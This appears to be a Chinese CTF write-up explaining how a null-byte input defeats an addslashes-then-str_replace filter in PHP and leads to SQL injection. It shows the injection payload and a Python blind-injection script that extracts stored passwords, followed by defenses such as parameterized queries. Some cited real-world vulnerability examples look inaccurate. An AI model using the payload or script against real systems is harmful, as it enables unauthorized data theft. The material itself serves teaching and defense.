从一道CTF题看addslashes与str_replace的‘相爱相杀’:如何用\0绕过SQL注入过滤
2026/5/6 5:21:07 网站建设 项目流程

从一道CTF题看PHP安全函数的致命组合:空字节如何击溃双重过滤

当addslashes遇上str_replace,这对本该并肩作战的安全卫士竟成了漏洞制造机。2019年全国大学生信息安全竞赛(CISCN)决赛中的一道Web题,向我们展示了安全函数组合使用时的典型陷阱——空字节\0如何像特洛伊木马般穿透双重防御。

1. 漏洞现场还原:一个被忽视的转义盲区

题目中的image.php.bak文件暴露了这样一段危险代码:

$id = addslashes($_GET["id"]); $id = str_replace(array("\\0","%00","\\'","'"), "", $id);

看似严密的双重过滤,实则暗藏杀机。让我们拆解攻击者输入?\id=\0时的处理流程:

  1. 第一层防御(addslashes):将反斜杠转义为\\,得到\\0
  2. 第二层过滤(str_replace):删除\0子串后,神奇的事情发生了——剩余字符组合成了新的转义符\'

最终生成的SQL语句变成:

SELECT * FROM images WHERE id='\' OR path='...'

那个孤独的反斜杠,让原本保护系统的单引号变成了攻击武器。

2. 漏洞原理深度剖析:字符处理的层叠效应

2.1 addslashes的工作机制

这个函数会在四个特殊字符前插入反斜杠:

  • 单引号'\'
  • 双引号"\"
  • 反斜杠\\\
  • NULL字节\0\\0

但问题出在后续的str_replace处理阶段。

2.2 替换操作的致命顺序

代码试图过滤这些危险字符:

str_replace(array("\\0","%00","\\'","'"), "", $id)

当输入\0时:

  1. addslashes先将其转为\\0
  2. str_replace再删除\0子串,留下\

这个残留的反斜杠恰好成为转义字符,使得后续的单引号失去语法意义。

3. 实战利用:从字符处理到完整注入

攻击者通过精心构造的payload完成注入:

?id=\0&path=or 1=1%23

对应的SQL语句变为:

SELECT * FROM images WHERE id='\' OR path='or 1=1#'

其中#注释掉后续内容,or 1=1实现永真条件。

3.1 自动化注入脚本示例

import requests flag = '' for i in range(1, 500): for y in range(32, 127): url = f'http://target.com/image.php?id=\\0&path=or(ASCII(SUBSTR((select password from users),{i},1))={y})%23' if "JFIF" in requests.get(url).content.decode(errors='ignore'): flag += chr(y) print(flag) break

这个脚本通过布尔盲注逐字符提取数据,关键点在于:

  • 使用十六进制绕过引号过滤(如0x7573657273表示users
  • 通过图片特征(JFIF)判断注入结果

4. 防御方案:安全函数的正确打开方式

4.1 参数化查询是终极解决方案

$stmt = $con->prepare("SELECT * FROM images WHERE id=? OR path=?"); $stmt->bind_param("ss", $id, $path); $stmt->execute();

4.2 如果必须使用过滤函数

  1. 统一字符编码:强制使用UTF-8防止编码混淆
    mb_convert_encoding($input, 'UTF-8', 'UTF-8');
  2. 调整处理顺序:先替换后转义
    $id = str_replace(array("\0","%00"), "", $id); $id = addslashes($id);
  3. 添加额外验证
    if (strpos($id, chr(0)) !== false) { die("Null byte detected!"); }

4.3 过滤函数组合对比表

方案处理顺序防注入效果性能影响
危险组合先addslashes后str_replace可被\0绕过
安全组合先str_replace后addslashes有效防御
参数化查询无过滤直接绑定完全免疫

5. 从CTF到真实世界:历史漏洞启示录

类似的漏洞模式在真实项目中屡见不鲜:

  • WordPress < 4.9.6:用户注册处的addslashes+stripslashes组合漏洞
  • phpMyAdmin 4.8.1:SQL解析中的转义处理缺陷
  • 多个PHP框架:早期版本对多重转义的处理不一致

这些案例都在提醒我们:安全不是简单的函数堆砌,而是需要理解底层机制的系统工程。下次当你写下addslashes时,不妨多问一句:这个转义真的如我所愿吗?

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询